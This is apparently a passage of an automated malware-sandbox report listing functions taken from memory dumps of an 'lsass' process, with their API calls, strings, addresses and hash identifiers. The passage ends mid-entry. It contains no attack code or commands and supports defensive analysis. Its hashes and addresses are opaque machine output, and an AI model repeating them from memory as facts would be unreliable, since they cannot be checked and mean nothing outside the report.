Instruction ID: d5e1b5ca961c770c041380f95d354e3cdbdec886acd4ce3b24cae478a2db64e3
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: EE517AB26096088BEF24DB25E44CB993797F369B8CF508134DA1687788FE76EB418700

Function 00000213BDCE8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000213BDCE9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000213BDCE90A8
RtlUnwindEx.NTDLL ref: 00000213BDCE90F7

Strings

csm, xrefs: 00000213BDCE908E
f, xrefs: 00000213BDCE9026

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: a6b60b47365312ed9fb6cffc76a32eb8d6561a2d91ecc7083e293e1ea37e8388
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: B631BFB220964487EF14DF22E84C79977A6F368B8CF458124EE5647789EF3AEB44C704

Function 00000213BDCE1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000213BDCE1A60
StrCmpNIW.SHLWAPI ref: 00000213BDCE1A7A
lstrlenW.KERNEL32 ref: 00000213BDCE1A89
StrCpyW.SHLWAPI ref: 00000213BDCE1A9E

Strings

\\?\, xrefs: 00000213BDCE1A6E

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 9a3ceae17c6c449fcd09eca06c2232397e8d057c9f4e4c09271c551668b01824
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 4AF0317230864592EF70CB21E8887D96762F768B9CF945020DA494A558EB3DC74DCB00

Function 00000213BDCEBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000213BDCEBCBD
GetProcAddress.KERNEL32 ref: 00000213BDCEBCD3
FreeLibrary.KERNEL32 ref: 00000213BDCEBCFA

Strings

CorExitProcess, xrefs: 00000213BDCEBCCC
mscoree.dll, xrefs: 00000213BDCEBCB4

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 540f723a61500467f8a8b8c4ca4f47b4269590684ce67fd343b054dd3f87c0fa
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: EEF0627121960582EF14CF24E44D3E96363EBA576DF540229CA6A492E8EF3EC34CC300

Function 00000213BDCE3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000213BDCE3066
StrCpyW.SHLWAPI ref: 00000213BDCE3076
StrCatW.SHLWAPI ref: 00000213BDCE3082
PathCombineW.SHLWAPI ref: 00000213BDCE3090

Strings

\\.\pipe\, xrefs: 00000213BDCE305C

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 143933a49c9e38150b676d3b6c803f89c80bf75aa8c52dce601b1f25c80bbb55
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 13F0F874718B8482EE14CB52B9181D96662AB68FDDF089130EE4A4BB18EE3DD74D8700

Function 00000213BDCE50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000213BDCE5156

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: ff1cd853ef15dbd82275a915282ff6a598436b67fb0be58782aaa7236b1550e1
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 3502EF7221DB8486DB60CB55F45439ABBA1F3D4798F100125EACE87BA9DF7DDA44CB00

Function 00000213BDCE5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000213BDCE5726

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: d223e9dcadd96ac9e86b04a6cfbd1f11c297519e412362c6c507cdbf370bb6f3
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 4361DC7652CB44C7EA60CB15E45835A7BA1F39478CF500129E68E87BA8EB7DDB51CF00

Function 00000213BDCC3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000213BDCC352C
_set_statfp.LIBCMT ref: 00000213BDCC3547
_set_statfp.LIBCMT ref: 00000213BDCC3563
_set_statfp.LIBCMT ref: 00000213BDCC359F

Memory Dump Source

Source File: 00000029.00000002.3061237265.00000213BDCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdcb0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: d2d7dd6e1439f03189a3226a9b5cce41787e5537534634c01bb2080864e62fb7
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: D711E73265CE0101FE949328F44E3E910836B79B7CF4D4728AF66063D6FA36DB4042C1

Function 00000213BDCF4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000213BDCF412C
_set_statfp.LIBCMT ref: 00000213BDCF4147
_set_statfp.LIBCMT ref: 00000213BDCF4163
_set_statfp.LIBCMT ref: 00000213BDCF419F

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: f9e4e7116411792c9900663e4fd0b77c758cabd73c1539257dc2faf97d7e1066
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: C311C132A1CA4711FF649568D4DD3E511436B783BCF188A24E9764E6DEEB36CB4C4200

Function 00000213BDCE9650 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000213BDCE966F
SetLastError.KERNEL32 ref: 00000213BDCE96F6

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 46c896f13dff0714c7ccebb8ca9383bb675cc38bcf091c92c481f4a556b8b138
Instruction ID: 32291ebe63344caa2b2a00819642319f6feb277e8a2eeb88ccaa8891375a908e
Opcode Fuzzy Hash: 46c896f13dff0714c7ccebb8ca9383bb675cc38bcf091c92c481f4a556b8b138
Instruction Fuzzy Hash: 4311B4B021925843FE60DB61A84D3E832976BA47ECF044635E966477DAFE3AEB41C300

Function 00000213BDCBF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000213BDCBF124

Strings

Wednesday, xrefs: 00000213BDCBF1ED
Tuesday, xrefs: 00000213BDCBF0F4
or copy constructor iterator', xrefs: 00000213BDCBF25A, 00000213BDCBF275

Memory Dump Source

Source File: 00000029.00000002.3061237265.00000213BDCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdcb0000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: dd33b7bdeea741fb6d5fb3879698249c2b400a189a1bb143957139dfcfd1a244
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: E561F73668E20842FE6ACB28E54C3EE6BA3E77174CF545815CA46177A5FB37CB418301

Function 00000213BDCEAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000213BDCEAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000213BDCEAAB7

Strings

RCC, xrefs: 00000213BDCEAA85
MOC, xrefs: 00000213BDCEAA7C

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 1fa883078d8b0df735174c791d3315410991ce76529377e33f37aec33171b3e6
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 876179B3608B88CAEB10DF65D0443DD77A2F364B8CF144225EE4957B98EB39E284C704

Function 00000213BDCBA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000213BDCBA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000213BDCBA288

Strings

csm, xrefs: 00000213BDCBA2DA
csm, xrefs: 00000213BDCBA1C2

Memory Dump Source

Source File: 00000029.00000002.3061237265.00000213BDCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdcb0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: f6b80d2922ff79a09da4c367b45cc3c1b98fc3b25da29179d71979c1a959d6c1
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: E351AF32188288CAEF64CB15D44839C77A2F365B8CF185116DACD87BD5EB7AD750C709

Function 00000213BDCEAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000213BDCEADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000213BDCEAE88

Strings

csm, xrefs: 00000213BDCEAEDA
csm, xrefs: 00000213BDCEADC2

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 3c048601c7fcc0ffe57f7261eab226645e3cc41df1823d05877d79c368e95740
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: FD515FB2108388CFEF64CB159588399B7A2F364B8DF184125EA5D87B95EB39E760C704

Function 00000213BDCB8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000213BDCB8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000213BDCB84A8

Strings

csm, xrefs: 00000213BDCB848E
f, xrefs: 00000213BDCB8426

Memory Dump Source

Source File: 00000029.00000002.3061237265.00000213BDCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdcb0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: dc5653ac438f2d6e495d45b1ca0cfa69a93c7d117f4fad526aed404aa48302df
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 2D51ED327592088AEF19CF15E448B9837A6FB68B9CF548024DA0643788FB36DF458B08

Function 00000213BDCB83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000213BDCB8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000213BDCB84A8

Strings

csm, xrefs: 00000213BDCB848E
f, xrefs: 00000213BDCB8426

Memory Dump Source

Source File: 00000029.00000002.3061237265.00000213BDCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdcb0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 82ec953c2abcd69afeb9a379956e593d8954b52f8e7d0185f21bbf325504b95f
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: A331C23165974486EF19DF11E8487993BA6FB68F8CF058014EE5B03788EB3ACB41CB48

Function 00000213BDCF2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000213BDCF20D7
WriteFile.KERNEL32 ref: 00000213BDCF239F
WriteFile.KERNEL32 ref: 00000213BDCF23E5
GetLastError.KERNEL32 ref: 00000213BDCF249B

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: d0ae188cb9208859d57580f57e68af91c772b1affd1422831023fc799dab810f
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: BAD1E272718A808AEB11CFA5D4443DC7BB2F36579CF108216CE599BB9DEA35C70AC740

Function 00000213BDCE14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000213BDCE14C5
HeapFree.KERNEL32 ref: 00000213BDCE14D4
GetProcessHeap.KERNEL32 ref: 00000213BDCE14E1
HeapFree.KERNEL32 ref: 00000213BDCE14F0
GetProcessHeap.KERNEL32 ref: 00000213BDCE1500

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 31cca27c97c10b50b0d1f4af92040512d4615bcca040e4e08102490f9d85dd7c
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 91015A32648B94C6EB04DF66E9081CA77B2F798F8DF048425EA4A47729EE39D255C740

Function 00000213BDCF2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000213BDCF2A9C
GetLastError.KERNEL32 ref: 00000213BDCF2B27

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 0ed097bee9c2838b483cb9f14b03d6e6f10cfa9755ec3a11846def29111419fb
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: AF91073270865089FF60DF6594483EDBBA2F764B8CF144109DE4A9B69CEB36C78AC700

Function 00000213BDCE7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000213BDCE798C
GetCurrentThreadId.KERNEL32 ref: 00000213BDCE799A
GetCurrentProcessId.KERNEL32 ref: 00000213BDCE79A6
QueryPerformanceCounter.KERNEL32 ref: 00000213BDCE79B6

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: f3e89c732882dc4be1fda66988cc4488258048f9f4970aa2de9805cb3fbce708
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 80111F32754B0589EF00CB60E8593E833A4F76975CF440D25DAAD86798EB79C3988380

Function 00000213BDCE253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000213BDCE2620
StrCpyW.SHLWAPI ref: 00000213BDCE2639

Strings

\\.\pipe\, xrefs: 00000213BDCE262B

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 402ccc82d5c6591d2abd376835e1d3f6cc6d53c76c666844c3b5344b78894b12
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 1371C6B620879987EF24DF25D8483EAA796F3A978CF540036DD0943B89FE36D7458700

Function 00000213BDCB9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000213BDCB9EB7

Strings

MOC, xrefs: 00000213BDCB9E7C
RCC, xrefs: 00000213BDCB9E85

Memory Dump Source

Source File: 00000029.00000002.3061237265.00000213BDCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdcb0000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: bbb7cdb92cb596dcb0788d693a3b58d75f0e34908b0e226618241f28b02e5c54
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: ED616A32608B888AEB20DF65D4443DD77A2F768B8CF144215EF8917B98EB79D255C700

Function 00000213BDCE2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000213BDCE2416
StrCpyW.SHLWAPI ref: 00000213BDCE242D

Strings

\\.\pipe\, xrefs: 00000213BDCE2421

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 188ea66b7bcfd0c47726733c40de34c55d45513101da1f913a5e3211a342359a
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: A151D4B220C78983EE64DE29A55C3FAA753F3AA74CF440135DD5903B49EA3BE7058780

Function 00000213BDCF26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000213BDCF2807
GetLastError.KERNEL32 ref: 00000213BDCF2829

Strings

U, xrefs: 00000213BDCF27B3

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 7ca704e4079fb843e18e962332c75f2c7a1687e35e23e5be027c6cd1584b2488
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: D841A572319A8082DB20CF25E4483D9B7A1F7A879CF504121EE8D8B798EB3DC645CB40

Function 00000213BDCE94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000213BDCE94F0
RaiseException.KERNEL32 ref: 00000213BDCE9531

Strings

csm, xrefs: 00000213BDCE951E

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 450ba37ac19791e17a21ad49c035722d0e53f3451afd1a5ee852b307dddf2d54
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: AC112B32219B8482EB61CB15E44439977E6F798B9CF584220EE8D07768EF3DC655CB00

Function 00000213BDCB7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000213BDCB737C

Strings

ierarchy Descriptor', xrefs: 00000213BDCB7381
riptor at (, xrefs: 00000213BDCB7364

Memory Dump Source

Source File: 00000029.00000002.3061237265.00000213BDCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdcb0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: f4862c4d9b7376f1182d3b6f5f2b365ac3009e22aec70bc65f16aebbe18ce939
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 4EE08671654B4890DF01CF21E8442D833A5DB68B6CB8891229A5C06315FA38D7EBC300

Function 00000213BDCB73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000213BDCB73D8

Strings

Locator', xrefs: 00000213BDCB73DD
riptor at (, xrefs: 00000213BDCB73C0

Memory Dump Source

Source File: 00000029.00000002.3061237265.00000213BDCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdcb0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 27a04a9311f7d125a749bde97889680f3ba368b48a2d80739b1b772cb5aa5af3
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 6FE08C71A54B4880DF02CF21E8802D873A6EB68B6CF889122DA4C06311FA38D7EAC300

Function 00000213BDCE1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000213BDCE1C2D
HeapAlloc.KERNEL32 ref: 00000213BDCE1C3B
GetProcessHeap.KERNEL32 ref: 00000213BDCE1C77
HeapFree.KERNEL32 ref: 00000213BDCE1C85

Part of subcall function 00000213BDCE152C: StrCmpIW.SHLWAPI ref: 00000213BDCE155D

Memory Dump Source

